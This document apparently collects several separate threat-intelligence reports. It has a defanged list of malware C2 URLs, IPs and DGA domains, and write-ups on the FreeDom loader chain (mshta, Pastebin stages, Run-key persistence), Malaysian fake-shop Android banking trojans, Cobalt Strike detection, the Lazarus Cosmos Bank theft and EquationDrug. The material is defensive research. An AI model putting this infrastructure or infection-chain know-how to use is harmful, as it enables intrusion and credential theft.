- hxxp://lptech[.]sk/g3lfoj[.]php URL CryptoWall c2
- hxxp://macphoto[.]nl/7NBUqj[.]php URL CryptoWall c2
- hxxp://mangohills[.]net/RxIoCE[.]php URL CryptoWall c2
- hxxp://mastertrade[.]tk/12fDze[.]php URL CryptoWall c2
- hxxp://maxicarga[.]co/L8HU29[.]php URL CryptoWall c2
- hxxp://mehmetekinci[.]biz/Hg3V8b[.]php URL CryptoWall c2
- hxxp://monicasalvador[.]com[.]ar/btWiaQ[.]php URL CryptoWall c2
- hxxp://morainecare[.]com/eQRvWp[.]php URL CryptoWall c2
- hxxp://muel[.]altervista[.]org/z1ho2W[.]php URL CryptoWall c2
- hxxp://myteaminspired[.]com/mzTOIv[.]php URL CryptoWall c2
- hxxp://neoad[.]de/NXy1mb[.]php URL CryptoWall c2
- hxxp://noahwilbanks[.]com/PtXsO_[.]php URL CryptoWall c2
- hxxp://ofertarelampago[.]com[.]br/4jiPBG[.]php URL CryptoWall c2
- hxxp://otkritka[.]com[.]ua/MVc9hg[.]php URL CryptoWall c2
- hxxp://otkritka[.]com[.]ua/tjhW2B[.]php URL CryptoWall c2
- hxxp://pc[.]all-to-all[.]com/Ryfq7Y[.]php URL CryptoWall c2
- hxxp://premierdisneyvilla[.]com/QXeHOy[.]php URL CryptoWall c2
- hxxp://quadparticle[.]com/fZ1Y8M[.]php URL CryptoWall c2
- hxxp://raincchina[.]com/NSrcQE[.]php URL CryptoWall c2
- hxxp://ronikagp[.]ir/U_ABoi[.]php URL CryptoWall c2
- hxxp://silstop[.]pl/Si0cCJ[.]php URL CryptoWall c2
- hxxp://sohbetodalari[.]net/GnOLXh[.]php URL CryptoWall c2
- hxxp://sowellness[.]be/fYvA5U[.]php URL CryptoWall c2
- hxxp://sowellness[.]be/isB2Ac[.]php URL CryptoWall c2
- hxxp://stevesyachtrepair[.]com/S8bJFl[.]php URL CryptoWall c2
- hxxp://t-firma-en[.]itech-websolutions[.]com/U2Ac7i[.]php URL CryptoWall c2
- hxxp://taftee[.]in/JnGQ1s[.]php URL CryptoWall c2
- hxxp://tbraille[.]com[.]br/XAT7zH[.]php URL CryptoWall c2
- hxxp://telecom-sa[.]com/azRXqt[.]php URL CryptoWall c2
- hxxp://thebeautythesis[.]com/UaEigq[.]php URL CryptoWall c2
- hxxp://thebesttshirtsonline[.]com/CF9iM8[.]php URL CryptoWall c2
- hxxp://timeaddedon[.]com/CBRrYv[.]php URL CryptoWall c2
- hxxp://tugay[.]com[.]tr/prkdzF[.]php URL CryptoWall c2
- hxxp://turbosol[.]asia/l7xydO[.]php URL CryptoWall c2
- hxxp://uzmankirala[.]com/KhVRbv[.]php URL CryptoWall c2
- hxxp://vancouverdispensarycoalition[.]ca/euq URL CryptoWall c2
- Ub5[.]php
- hxxp://verybigloan[.]com/1vR9hu[.]php URL CryptoWall c2
- hxxp://villisplace[.]info/fJQ_3v[.]php URL CryptoWall c2
- hxxp://vinastudio[.]at/8TkXUJ[.]php URL CryptoWall c2
- hxxp://vladoveverka[.]sk/6RGZgC[.]php URL CryptoWall c2
- hxxp://wallpapersau[.]net/igrHKY[.]php URL CryptoWall c2
- hxxp://winika[.]com[.]br/SGJ_Fr[.]php URL CryptoWall c2
- hxxp://yardstickglobal[.]in/Y37Jux[.]php URL CryptoWall c2
- hxxp://zhahan[.]kz/TSOXQL[.]php URL CryptoWall c2
- hxxp://zolty[.]eu/bnFKET[.]php URL CryptoWall c2
- hxxp://zuiyougou[.]com/Pfy2Qs[.]php URL CryptoWall c2
- 179[.]43[.]160[.]47:20010 IP TinyLoader c2
- 50[.]7[.]124[.]170 IP TinyLoader c2
- hxxp://www[.]vascoboiblog[.]club/0x00/gate[.]php URL H1N1 c2
- hxxp://5[.]45[.]179[.]179/ajax[.]php URL NeutrinoBot c2
- hxxp://5[.]45[.]179[.]179/p/ajax[.]php URL Pony c2
- hxxp://wearesorryfortheinconvenience[.]com URL Smoke Loader c2
- hxxp://31[.]192[.]105[.]24/mtv/gate[.]php URL TV Spy c2
- 128[.]199[.]186[.]92:643 IP Dridex 222
- 180[.]235[.]132[.]105:8843 IP Dridex 222
- 5[.]56[.]61[.]62:666 IP Dridex 222
- 37[.]34[.]52[.]185:444 IP Dridex 222
- 89[.]46[.]196[.]61:443 IP Dridex 222
- 212[.]183[.]20[.]78:444 IP Dridex 222
- 41[.]79[.]173[.]47:443 IP Dridex 222
- 95[.]170[.]95[.]81:5445 IP Dridex 222 Injects
- 146[.]0[.]40[.]33:8843 IP Dridex 222 Injects
- 151[.]248[.]121[.]167:1743 IP Dridex 222 Injects
- 95[.]213[.]192[.]83 IP AU Ursnif c2
- 93[.]170[.]141[.]22 IP AU Ursnif c2
- notallowallownothingaal[.]me domain AU Ursnif DGA
- agentclientmediap[.]me domain AU Ursnif DGA
- notallowallownothingaal[.]me domain AU Ursnif DGA
- aljsccliclientheaseenot[.]me domain AU Ursnif DGA
- mediapartnerssays[.]me domain AU Ursnif DGA
- seeuserjdisallowclient[.]me domain AU Ursnif DGA
- sofficeraclientagent[.]me domain AU Ursnif DGA
- jscsasaysallowalsaswal[.]me domain AU Ursnif DGA
- jscdisallowsaauser[.]me domain AU Ursnif DGA
- jherecliallowalclient[.]me domain AU Ursnif DGA
- agentofficer[.]me domain AU Ursnif DGA
- aljsccliclientheaseenot[.]me domain AU Ursnif DGA
- mediapartnerssays[.]me domain AU Ursnif DGA
- seeuserjdisallowclient[.]me domain AU Ursnif DGA
- sofficeraclientagent[.]me domain AU Ursnif DGA
- jscsasaysallowalsaswal[.]me domain AU Ursnif DGA
- au-tda[.]com domain AU Ursnif injects
- au-tdc[.]com domain AU Ursnif injects
- hxxp://apngwen[.]com/yvovgw65u/index[.]php URL Nymaim c2
- hxxp://apngwen[.]com/rqgbfhq/index[.]php URL Nymaim c2
- hxxp://apngwen[.]com/xk0ktpadlj/index[.]php URL Nymaim c2
- hxxp://uvflerpoqgj[.]com/mwk2ntlx/index[.]php URL Nymaim c2
- hxxp://ykyru[.]com/eipqcxxb/index[.]php URL Nymaim c2
- hxxp://ykyru[.]com/oslhhtx/index[.]php URL Nymaim c2
- hxxp://mbcqjsuqsd[.]com/fa7vi1df/index[.]php URL Nymaim c2
- 31[.]184[.]234[.]21 IP Nymaim Ursnif injects
- 162[.]244[.]32[.]157:8458 IP Nymaim Ursnif VNC
- oklinjgreirestacks[.]biz domain Fileless Ursnif c2
- brookmensoklinherz[.]org domain Fileless Ursnif c2
- mletterinklandoix[.]net domain Fileless Ursnif c2 |
# Multistage FreeDom Loader Used to Spread AZORult and NanoCore RAT
In March 2020, ThreatLabz observed several Microsoft Office PowerPoint files being used in the wild by a threat actor to spread AZORult and NanoCore RAT. The malicious files in this campaign used an interesting payload delivery method that distinguishes it from the common malware delivery methods observed on a daily basis. The infection chain is modular, with multiple stages involved before the final payload is executed on the machine. Since the last week of March 2020, we observed a few changes in the encoding method and the macro code used in the loader, which we will also describe in this blog. This campaign is active in the wild at the time of this writing.
We provide a technical description of the infection chain and the unique indicators found in the files, which we used to categorize the loader with a specific name. We also used the unique delivery method used in this campaign, along with other attributes, to correlate this threat actor to the Aggah campaign, which was documented in April 2019 by Unit 42. The older instances of the campaign in 2019 were used to spread the Revenge RAT. In the new instances, we have observed a few changes in the campaign in addition to the type of final payload delivered.
## Email delivery method
The malware delivery method in this campaign involves sending Microsoft Office PowerPoint files as attachments to the users. Based on the analysis of the email content and email headers, we concluded that this threat actor has been actively targeting users in the Asian subcontinent, specifically South Korea and Indonesia. The content of the emails varies from business proposals to product price negotiations.
## Technical analysis of the multistage loader
We will take a Microsoft Office PowerPoint file as an example to demonstrate the infection chain and the various steps involved in it. The MD5 hash for this is: `0b0b570451b699d96c70ebf400628caa`.
### Macro-based downloader [Stage 1]
The PowerPoint file contains a macro that leverages mshta to download the next stage payload from Pastebin. Auto_Close() in the macro ensures that the malicious code is executed only when the file is closed. All the instances we observed in March 2020 were using j.mp as the shortened URL service to download the next stage payload. The relevant macro code is shown in the document.
The shortened URL redirects to the Pastebin URL: `hxxps://pastebin[.]com/raw/rsbLNHJg`, which contains the encoded next stage. Among all the samples we analyzed in this campaign, the Pastebin accounts that were used to host the multiple stages belonged only to three individuals:
- lunlayloo
- redcobalt
- gogga7
### JavaScript loader [Stage 2]
With the help of a macro, it downloads an encoded VBScript from Pastebin. The encoding method used was consistent across all the samples we observed in March 2020. In the newer variants seen in the wild, we observed a few changes in the encoding method. The URL-encoded text was decoded using the unescape() function. The decoded script is a VBScript.
The main operations performed at this stage are:
1. It creates a scheduled task with the name Pornhub. This task leverages mshta to download the next stage payload from Pastebin as well.
2. The same command that was scheduled in step 1 is also immediately executed to start the infection chain.
3. It creates three Windows registry keys for persistence to ensure that the infection chain begins once the machine is restarted:
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BACKUP2`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BACKUP3`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\`
### VBScript leverages PowerShell [Stage 3]
In Stage 3, another encoded VBScript is fetched from Pastebin. This VBScript, once decoded, uses PowerShell to load .NET assemblies. The main operations performed by the PowerShell command line include:
1. Set the TLS version to 1.2 by setting SecurityProtocolType to 3072.
2. Download a Base64 encoded blob from Pastebin. This Base64 encoded blob decodes to another PowerShell script.
3. It then downloads another payload from Pastebin, which contains the hex representation of the binary code.
The MD5 hash of the payload is: `60221d709e0ad65bb23bd00a3977c55d`. This corresponds to the AZORult Delphi binary file. Across all the samples we observed in this campaign, the final payload varied between AZORult and NanoCore infostealer binaries.
### PowerShell starts the FreeDom loader [Stage 4]
The PowerShell script downloaded in step 2 of stage 3 contains a GZip compressed .NET binary, which will be decompressed and stored in the variable `$decompressedByteArray`. The method `[Givara]::FreeDom()` is defined in the .NET loader and is used to load the infostealer malicious binary (in this case, AZORult).
The payload execution is triggered using the following syntax:
`Guevara_Loader. [Givara]::FreeDom(‘notepad.exe’, infostealer_binary)`
### FreeDom .NET loader analysis
The .NET loader binary is protected using the Confuser Ex 1.0.0 obfuscator. After removing the Confuser Ex 1.0.0 protection, we can decompile the binary successfully. The parameters for the FreeDom function are as follows:
- FTONJ – A string called notepad.exe
- Coco – The byte array corresponding to the AZORult binary
The `HeHe` class checks for the presence of notepad.exe in different system paths on the machine. Once it locates the file, it passes that to the `tickleme()` function along with the AZORult byte array.
### Macro code changes in new variants
The newer variants in this campaign updated the encoding method and the macro used. The newer variant of the macro creates a Windows persistence key in the location `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\` and adds the command line to leverage mshta to download the malicious next stage payload.
### Encoding changes in the new variant
The other key change we observed in the new variant is in the script encoding used for each stage. This method calls eval() two times. The first eval() call corresponds to the JavaScript function, which is responsible for XOR decryption.
### Changes in the final payload
The final payload downloaded in the newer variants is a NanoCore RAT unlike AZORult or Revenge RAT observed in previous instances of the campaign. The MD5 hash of the NanoCore payload is: `35de5c352023db9d406a835ef7f318e5`. The encrypted .NET assembly is extracted from the pixels of a bitmap image and decrypted using an XOR decryption routine.
## Conclusion
This threat actor combines multiple stages in the infection chain to make detection difficult over the network. The tactics, techniques, and procedures (TTPs) used by this threat actor are also evolving with time. As an extra precaution, users should not enable macros for Microsoft Office files that are received from untrusted sources since these macros have the capability to run malicious code on your machine.
## Indicators of compromise
**PowerPoint files, old variant**
- `f934dc6b441789365d5aa641bbf8ef3f`
- `0b0b570451b699d96c70ebf400628caa`
- `b825645e1132c77550d14503974c9ea2`
- `89e3d26cdc862e47d6c7d665135e28d6`
- `dc01e01fea24cf2f2a208d62e219889b`
- `16ac16400e2f1f125664b62c16be9c88`
- `4cfea775333d107ec43d621aa4c9968b`
- `4d299bee18901eb48929f3b493f65699`
- `cd425ac433c6fa5b79eecbdd385740ab`
**PowerPoint files, new variant**
- `bbe077e2cd3c321427a16557d26a3438`
- `cc53f0a1a256678ba7d79aa475128d9c`
- `7db36d502e4a1d35873c8a0c51bafbbf`
- `13ae5088ae7e5ac1335a573d52befabc`
- `7083ee8cabbf500a3b286b8027f8f9fe`
- `2d3b0a3369e7a33b5c3e3115d7fa5a58`
- `9f8db1103850e43681ea79cec06e13c7`
- `56b4f3bc5b500d4120b55ff3dcaf1cc9`
- `5d926bae6c76e8b86192c205c49cd195`
- `f35b21cf37fbdae346858b490a0f230a`
**Network IOCs**
- `23.247.102[.]10/manabotnet/index.php`
- `23.81.246[.]150/manabotnet-stryka/index.php`
- `won2020.duckdns[.]org:3090`
- `216.170.114[.]4: 54392`
**Pastebin users**
- `https://pastebin[.]com/u/lunlayloo`
- `https://pastebin[.]com/u/redcobalt`
- `https://pastebin[.]com/u/gogga7` |
# Fake e‑shops on the prowl for banking credentials using Android malware
ESET researchers analyzed three malicious applications targeting customers of eight Malaysian banks. The popularity of online shopping has been growing during the past few years, a trend accelerated by the pandemic. To make this already convenient way of never having to leave the couch to buy new things even more convenient, people are increasingly using their smartphones instead of computers to shop: in Q1 2021, smartphones accounted for 69% of all retail website visits worldwide, and smartphone purchases made up 57% of online shopping orders. A noteworthy aspect of buying goods and services via a mobile device is that 53% of smartphone users do it from vendor-specific applications.
Seeking the opportunity to make a profit off this behavior, cybercriminals exploit it by tricking eager shoppers into downloading malicious applications. In an ongoing campaign targeting the customers of eight Malaysian banks, threat actors are trying to steal banking credentials by using fake websites that pose as legitimate services, sometimes outright copying the original. These websites use similar domain names to the services they are impersonating to better attract unsuspecting victims.
## Campaign overview
This campaign was first identified at the end of 2021, with the attackers impersonating the legitimate cleaning service Maid4u. Distributed through Facebook ads, the campaign tempts potential victims to download Android malware from a malicious website. It is still ongoing as of the publication of this blog post, with even more distribution domains registered after its discovery. In January 2022, MalwareHunterTeam shared three more malicious websites and Android trojans attributed to this campaign.
On top of that, ESET researchers found four more fake websites. All seven websites impersonated services that are only available in Malaysia: six of them, Grabmaid, Maria’s Cleaning, Maid4u, YourMaid, Maideasy, and MaidACall, offer cleaning services, and the seventh is a pet store named PetsMore.
The copycat websites do not provide an option to shop directly through them. Instead, they include buttons that claim to download apps from Google Play. However, clicking these buttons does not actually lead to the Google Play store, but to servers under the threat actors’ control. To succeed, this attack requires the intended victims to enable the non-default “Install unknown apps” option on their devices. Interestingly, five of the seven legitimate versions of these services do not even have an app available on Google Play.
To appear legitimate, the applications ask the users to sign in after starting them up; there is, however, no account validation on the server side – the software takes any input from the user and always declares it correct. Keeping up the appearance of an actual e-shop, the malicious applications pretend to offer goods and services for purchase while matching the interface of the original stores. When the time comes to pay for the order, the victims are presented with payment options – they can pay either by credit card or by transferring the required amount from their bank accounts. During our research, it was not possible to pick the credit card option.
As we already mentioned, the goal of the malware operators is to obtain the banking credentials of their victims. After picking the direct transfer option, victims are presented with a fake FPX payment page and asked to choose their bank out of the eight Malaysian banks provided, and then enter their credentials. The targeted banks are Maybank, Affin Bank, Public Bank Berhad, CIMB bank, BSN, RHB, Bank Islam Malaysia, and Hong Leong Bank.
After unfortunate victims submit their banking credentials, they receive an error message informing them that the user ID or password they provided was invalid. At this point, the entered credentials have been sent to the malware operators.
To make sure the threat actors can get into their victims’ bank accounts, the fake e-shop applications also forward all SMS messages received by the victim to the operators in case they contain Two-Factor Authentication (2FA) codes sent by the bank.
## Malware description
The observed malware is rather minimalistic: it is designed to request only one user permission, which is to read received SMS messages. Its goal is to phish for banking credentials and forward 2FA SMS messages from the compromised device to the operators. Lacking the functionality to remove SMS messages from the device, the malware cannot hide that somebody is trying to get into the victim’s bank account.
So far, the malware has been targeting only Malaysia – both the e-shops it impersonates and the banks whose customers’ credentials it is after are Malaysian, and the prices in the applications are all displayed in the local currency, the Malaysian Ringgit. One of the services impersonated in the campaign, MaidACall, has already warned its users of this fraudulent campaign via a Facebook post. The rest have not publicly commented on the issue yet.
We have found the same malicious code in all three analyzed applications, leading us to conclude that they can all be attributed to the same threat actor.
## Takeaways
To protect yourself against this type of threat, first, try to ensure that you are using legitimate websites to shop:
- Verify if the website is secure, i.e., its URL begins with https://. Some browsers might even refuse to open non-HTTPS websites and explicitly warn users or provide an option to enable HTTPS-only mode.
- Be wary of clicking ads and do not follow paid search engine results: it is possible that they do not lead to the official website.
Apart from looking out for fake websites, here are some other useful tips to enjoy a safer online shopping experience on your smartphone:
- Pay attention to the source of applications you are downloading. Make sure that you are actually redirected to the Google Play store when getting an application.
- Use software or hardware 2FA instead of SMS when possible.
- Use mobile security solutions to detect harmful websites and malicious apps.
## Conclusion
The observed campaign is a fake e-shop scheme targeting the banking credentials of Android users in Malaysia. It exploits the popularity of using smartphones to shop online. Instead of phishing for banking credentials on websites, the threat actors have introduced Android applications into the chain of compromise, thus making sure they have access to 2FA SMS messages the victim is likely to receive. The scheme relies on using ads to lure potential victims into accessing copycat versions of legitimate websites. Once there, a fake Google Play download button directs them towards a malicious application distributed by the malware operators via a third-party site.
While the campaign targets Malaysia exclusively for now, it might expand to other countries and banks later on. At this time, the attackers are after banking credentials, but they may also enable the theft of credit card information in the future. |
# The Art and Science of Detecting Cobalt Strike
**By Nick Mavis**
**Edited by Joe Marshall and Jon Munshaw**
**Updated September 11, 2020**
---
## Introduction
Cobalt Strike is ubiquitous in the cybersecurity arena. It’s a prolific toolkit used at many levels of intrusion to solve adversaries' problems like post-intrusion exploitation, beaconing for command and control (C2s), stealth, and reconnaissance.
Cobalt Strike is a modularized attack framework: Each module fulfills a specific function and stands alone. It’s hard to detect because its components might be customized derivatives from another module, new, or completely absent. Malicious actors find Cobalt Strike’s obfuscation techniques and robust tools for C2, stealth, and data exfiltration particularly attractive.
Cisco Talos recently updated its SNORT® and ClamAV® signatures to detect Cobalt Strike, version 4.0, a common platform utilized as one part of attack processes. This paper outlines the challenges we were confronted with when analyzing Cobalt Strike, and the ways we crafted our detection. We will address all the modules we’ve updated coverage for, how we analyzed and thought about detection, and the signature that resulted.
## Getting Up to Speed
Cobalt Strike is a paid penetration-testing tool that anyone can use. Malicious actors have used it for years to deploy “Listeners” on victim machines. In this paper, we’ll dive into some of the core components of Cobalt Strike and then break down our analysis of these components and how we can protect against them. We will also look at Cobalt Strike from the adversary’s perspective.
### Listeners
Listeners are at the core of Cobalt Strike. They allow adversaries to configure the C2 method used in an attack. Every attack or payload generated in Cobalt Strike requires the targeted user to select a Listener to embed within it. This will determine how an infected host will reach out to the C2 server to retrieve additional payloads and instructions.
When creating a listener, the user can configure the payload type, name, C2 server and port, and other various options such as named pipes or proxy servers. Users can choose from:
- Beacon DNS
- Beacon HTTP
- Beacon HTTPS
- Beacon SMB
- Beacon TCP
- External C2
- Foreign HTTP
- Foreign HTTPS
Potentially the most powerful aspect of Cobalt Strike is the array of malleable C2 profiles, which allows users to configure how attacks are created, obfuscate, and manage the flow of execution at a very low level.
There are several ways to visualize how an adversary interacts with infected Cobalt Strike hosts, such as a session table, pivot graph, or a target table.
## Web Management
Cobalt Strike delivers exploits and/or malicious payloads using an attacker-controlled web server. The web server can be configured to perform the following actions:
- Host files
- Clone an existing website to trick users
- Scripted web delivery
- Signed Applet Attack (Java)
- Smart Applet Attack (Java)
- System profiling
When a victim reaches out to the Cobalt Strike web server, it’s logged for operators.
## Reporting
Cobalt Strike offers a variety of report generators to get a complete breakdown of the infected hosts and associated data. Available options include:
- Activity report
- Hosts report
- Indicators of compromise
- Sessions report
- Social engineering report
- Tactics, techniques, and procedures
## Attack Analysis
### Target Module: Raw Shellcode Generator
Cobalt Strike generates raw, malicious payloads that an attacker could implement into other attacks. The payload can be generated as raw shell code or preformatted in a specific programming language.
Since the payload is only a bunch of raw bytes, it won’t just run if a user double-clicked the file. The adversary would have to load the shellcode and jump to the desired entry point. This is trivial — we can use a quick C script that loads the desired shellcode and then executes it as if it were a function.
This enables defenders to quickly analyze shell code in some cases without having to perform any over-the-top attempts to load it.
The shellcode is unaware of the libraries it needs to execute and needs to import them. This technique is often used by malware to obfuscate calls to the Windows API by resolving imports using a hash of the function.
### Detection
Now that we have a good understanding of how a Cobalt Strike payload works, we can work on creating detection for these payloads. The goal when creating detection content is to cover something in its entirety, with the fewest rules, without triggering false positives.
When looking into coverage for the Cobalt Strike payloads, we found we had some prior coverage alerting on the payloads, including the HTTP response containing the binary blob.
The first two are generic file type detection rules that are the base for setting flowbits in Snort and can be ignored. However, SIDs 1:30471 and 1:30229 are Metasploit shellcode rules we released years ago that still apply here.
### Target Module: Staged/Stageless Executable Generator
This module will encompass both staged and stageless Cobalt Strike beacons. This is the core component delivered to a victim host and establishes persistence, C2 communication, and any further execution on the host. Beacons are extremely versatile and expose a huge number of features for operators.
Stageless payloads are delivered to the victim all at once. Typically, a stageless payload already contains a large variety of malicious functionality and will not require additional resources to infect the victim.
Staged payloads are usually small, malicious payloads that are used to load a larger, more robust payload. This allows an attacker to transfer a small binary to a targeted host and retrieve the desired payload afterward.
### C2 Communication
An infected host will reach out to the Cobalt Strike C2 server periodically with a heartbeat, sending basic metadata back home and gathering any commands issued by an operator.
When a command is requested to be executed on the host, it’s queued up and waits for that host to reach out.
### Detection
Based on these actions, we wanted to write detection that would catch a Cobalt Strike stager being downloaded before it can target anything else. Catching the stager is pivotal, as it is most likely to prevent infection.
Researchers first generated every variant possible and created PCAPs of the stager traversing over typical ports seen in file-data traversal.
Once again, we triggered the Metasploit shellcode rules for every payload when we checked prior coverage.
## Conclusion
This is an in-depth view into the Cobalt Strike attack framework, how Talos researchers analyzed each module and the struggles, breakdowns, victories, and detection that came along with it.
The research performed resulted in more than 50 signatures between Snort and ClamAV combined, covering over 400 Cobalt Strike samples.
It’s important to note that the resulting detection based on this research project is intended to provide robust coverage for Cobalt Strike at its core, but is by no means exhaustive. Large-scale attack frameworks are always evolving, especially highly funded ones such as Cobalt Strike.
Researchers must target what each security product does well and use that to their advantage. With that, you also have to know where its weaknesses lie. Having a good understanding of the strengths and weaknesses in Snort or ClamAV is key to developing good generic detection. |
# North Korean Hacking Group Steals $13.5 Million From Indian Bank
**Jai Vijayan**
**August 27, 2018**
Tactics that Lazarus Group used to siphon money from India's Cosmos Bank were highly sophisticated, Securonix says.
North Korean-linked Lazarus Group is believed responsible for stealing $13.5 million from India's Cosmos Bank in a brazen attack that has exposed limitations in the measures banks use to defend against targeted cyber threats. The theft occurred between August 10 and August 13, 2018, and was enabled via thousands of fraudulent ATM transactions across 28 countries and by at least three unauthorized money transfers using the bank's access to the SWIFT international financial network.
It is still unclear how the threat actors managed to initially infiltrate the bank's network. But based on how Lazarus Group actors have typically operated in the past, the attackers broke in via a spear-phishing email and then moved laterally within the bank's network, according to researchers at Securonix.
"This attack is a good example of the fact that, while ATM and SWIFT transaction monitoring is important, it often is not enough, and may only give you 10%-20% of the required detection coverage," the security vendor noted in its report.
The Cosmos Co-operative Bank is a 111-year-old co-operative bank in India with branches in 7 states and 39 major cities. Between August 10 and August 11, Lazarus Group operators managed to compromise an end-user system at the bank and used that to access and compromise the institution's ATM infrastructure.
Publicly available information and Securonix' own analysis suggest that the attackers used multiple targeted malware exploits to set up a malicious ATM/POS proxy switch in parallel with Cosmos Bank's own central switch. They then broke or redirected the connection between the bank's ATM/POS central switch and its back-end Core Banking System. Securonix described the banking switch as a component that is primarily used to perform routing and transaction-processing decisions.
"Based on the publicly available details, most likely there was no additional hardware installed," says Oleg Kolesnikov, a member of the Securonix threat research team. "The malicious payment switch typically comes in the form of software, so this is likely what was installed and/or cloned/modified by the attackers to proxy the requests from the ATM terminals instead of the existing switch."
## ATM Withdrawals
The attackers are believed to have increased the withdrawal limits on hundreds of targeted accounts at the bank and set them up so cash withdrawals could be made from the accounts from abroad. In total, operators working on behalf of Lazarus Group used 450 cloned non-EMV debit cards linked to accounts at Cosmos Bank to make some 12,000 international ATM withdrawals and 2,849 domestic transactions totaling $11.5 million.
Because the attackers had previously tampered with the link between the banks' ATM switch and the core banking system, the required messages and codes for authorizing the debit card withdrawals were never forwarded to the core banking system. So typical checks on card number, card status, and PIN were never conducted. Instead, the attackers used the rogue ATM/POS switch that they had installed to send fake instructions for authorizing the fraudulent transactions.
About two days after the initial break-in, the attackers gained access to Cosmos Banks' SWIFT environment and used it to illegally transfer $2 million to an account belonging to a trading company at Hang Seng Bank in Hong Kong.
The attack on Cosmos Bank's ATM network was different from typical jackpotting and black box attacks where attackers physically tamper with ATMs to get them to spit out large amounts of cash. In this case, the attack targeted the bank's core infrastructure and effectively bypassed all measures recommended by Interpol for protecting a bank's ATM infrastructure against logical attacks, Securonix said.
What remains unclear is why Cosmos Bank did not receive any alerts when the connection between its ATM switch and core banking system was cut or when thousands of ATM transactions that were clearly not normal were being made.
"We do not know for certain, but it is likely that the connection was redirected such that the connection remained active, and only the malicious requests in question were selectively redirected by the malicious component," Kolesnikov says. This would ensure that the malicious requests never made it to the legitimate payment switch, and therefore were never visible at the core backend system, he says.
The attack also likely involved a lot of malicious and suspicious attack behaviors that the bank should have spotted. Based on the publicly available details, the attackers had to stand up a proxy switch capable of responding to malicious transaction requests from the terminals, Kolesnikov says. They also likely had to install some targeted malware components needed to monitor the card management process and the payment infrastructure, to gain access to the SWIFT terminals and to understand the standard operating procedures. |
# Inside the EquationDrug Espionage Platform
## Authors
GReAT
## Introduction
EquationDrug is one of the main espionage platforms used by the Equation Group, a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. EquationDrug, which is still in use, dates back to 2003, although the more modern GrayFish platform is being pushed to new victims.
It’s important to note that EquationDrug is not just a Trojan, but a full espionage platform, which includes a framework for conducting cyberespionage activities by deploying specific modules on the machines of selected victims. The concept of a cyberespionage platform is neither new nor unique. Other threat actors known to use such sophisticated platforms include Regin and Epic Turla.
The EquationDrug platform can be extended through plugins (or modules). It is pre-built with a default set of plugins supporting a number of basic cyberespionage functions. These include common features such as file collection and the making of screenshots. Sophistication is added by storing stolen data inside a custom-encrypted virtual file system before it is sent to the command and control servers.
The name “EquationDrug” or “Equestre” was assigned to this framework by Kaspersky Lab researchers. The only reference left by the framework developers was a short string “UR“, as seen in several string artifacts left in the binaries.
## Platform Architecture
The EquationDrug platform includes dozens of executables, configurations, and protected storage locations. The architecture of the whole framework resembles a mini-operating system with kernel-mode and user-mode components carefully interacting with each other via a custom message-passing interface. The platform includes a set of drivers, a platform core (orchestrator), and a number of plugins. Every plugin has a unique ID and version number that defines a set of functions it can provide. Some of the plugins depend on others and might not work unless dependencies are resolved.
The platform is started by the kernel mode driver component (“msndsrv.sys” on Windows 2000 or above and “mssvc32.vxd” on Windows 9x). The driver then waits for the system to start and initiates execution of the user-mode loader “mscfg32.exe”. The loader then starts the platform’s central module (an orchestrator) from the “mscfg32.dll” module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.
## Platform Components
The EquationDrug platform can be as sophisticated as a space station, but it appears to be of no use without its cyberespionage features. This function is provided by plugin modules that are part of the massive framework described above. We discovered dozens of plugins, and each is a sophisticated element that can communicate with the core and become aware of the availability of other plugins.
The most interesting modules we have seen contain the following functionality:
- Network traffic interception for stealing or re-routing.
- Reverse DNS resolution (DNS PTR records).
- Computer management:
- Start/stop processes
- Load drivers and libraries
- Manage files and directories
- System information gathering:
- OS version
- Computer name
- User name
- Locale
- Keyboard layout
- Timezone
- Process list
- Browsing network resources and enumerating and accessing shares.
- WMI information gathering.
- Collection of cached passwords.
- Enumeration of processes and other system objects.
- Monitoring live user activity in web browsers.
- Low-level NTFS filesystem access based on the popular Sleuthkit framework.
- Monitoring removable storage drives.
- Passive network backdoor (runs Equation shellcode from raw traffic).
- HDD and SSD firmware manipulation.
- Keylogging and clipboard monitoring.
- Browser history, cached passwords, and form auto-fill data collection.
## Code Artifacts
During our research, we paid attention to unique identifiers and codenames used by the developers in the malware. Most of this information is carefully protected with obfuscation or encryption algorithms to prevent quick recognition, but anyone who breaks through this layer of encryption may discover some interesting internal strings.
Some other interesting text strings include:
- SkyhookChow Target
- SkyhookChow Payload
- Dissecorp
- Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00
- VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00
- VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00
- STRAITSHOOTER30.ex_
- BACKSNARF_AB25
- c:\users\rmgree5\co\standalonegrok_2.1.1.1\gk_driver\gk_sa_driver…
- To install: run with no arguments
- Attempting to drop
- SFCriteria_Check failed!
- SFDriver
- Error detected! Uninstalling…
- Timeout waiting for the “canInstallNow” event from the implant-specific EXE!
- Trying to call privilege lib…
- Hiding directory
- Hiding plugin…
- Merging plugin…
- Merging old plugin key…
- Couldn’t reset canInstallNowEvent!
- Performing UR-specific pre-install…
- Work complete.
- Merged transport manager state.
- !!SFConfig!!
Some other names, such as kernel object and file names, abbreviations, resource code page, and several generic messages, point to English-speaking developers. Due to the limited number of such text strings, it’s hard to tell reliably if the developers were native English speakers.
## Link Timestamp Analysis
We have gathered a reasonably large number of executable samples to which we have been able to apply link timestamp analysis. A link timestamp is a 4-byte value stored in an executable file header. This value is automatically set by compiler software when a developer builds a new executable. The value contains a detailed timestamp including minutes and even seconds of compilation time.
Link timestamp analysis requires the collection of the timestamps of all available executables, grouping them according to certain criteria, such as the hour or day of the week, and putting them on a chart. Below are some charts built using this approach.
Can we trust this information? The answer is: not fully, because the link timestamp can be altered by the developer in a way that’s not always possible to spot. However, certain indicators such as matching the year on the timestamp with the support of technology popular in that year lead us to believe that the timestamps were, at the very least, not wholly replaced. Looking at this from the other side, the easiest option for the developer is to wipe the timestamp completely, replacing it with zeroes. This was not found in the case of EquationDrug. In fact, the timestamps look very realistic and match the working days and hours of a well-organized software developer from timezone UTC-3 or UTC-4, if you assume that they come to work at 8 or 9 am.
And finally, in case you are wondering if the developers work on public holidays, you can check this for yourself against the full list of their working dates:
- 2001.08.17
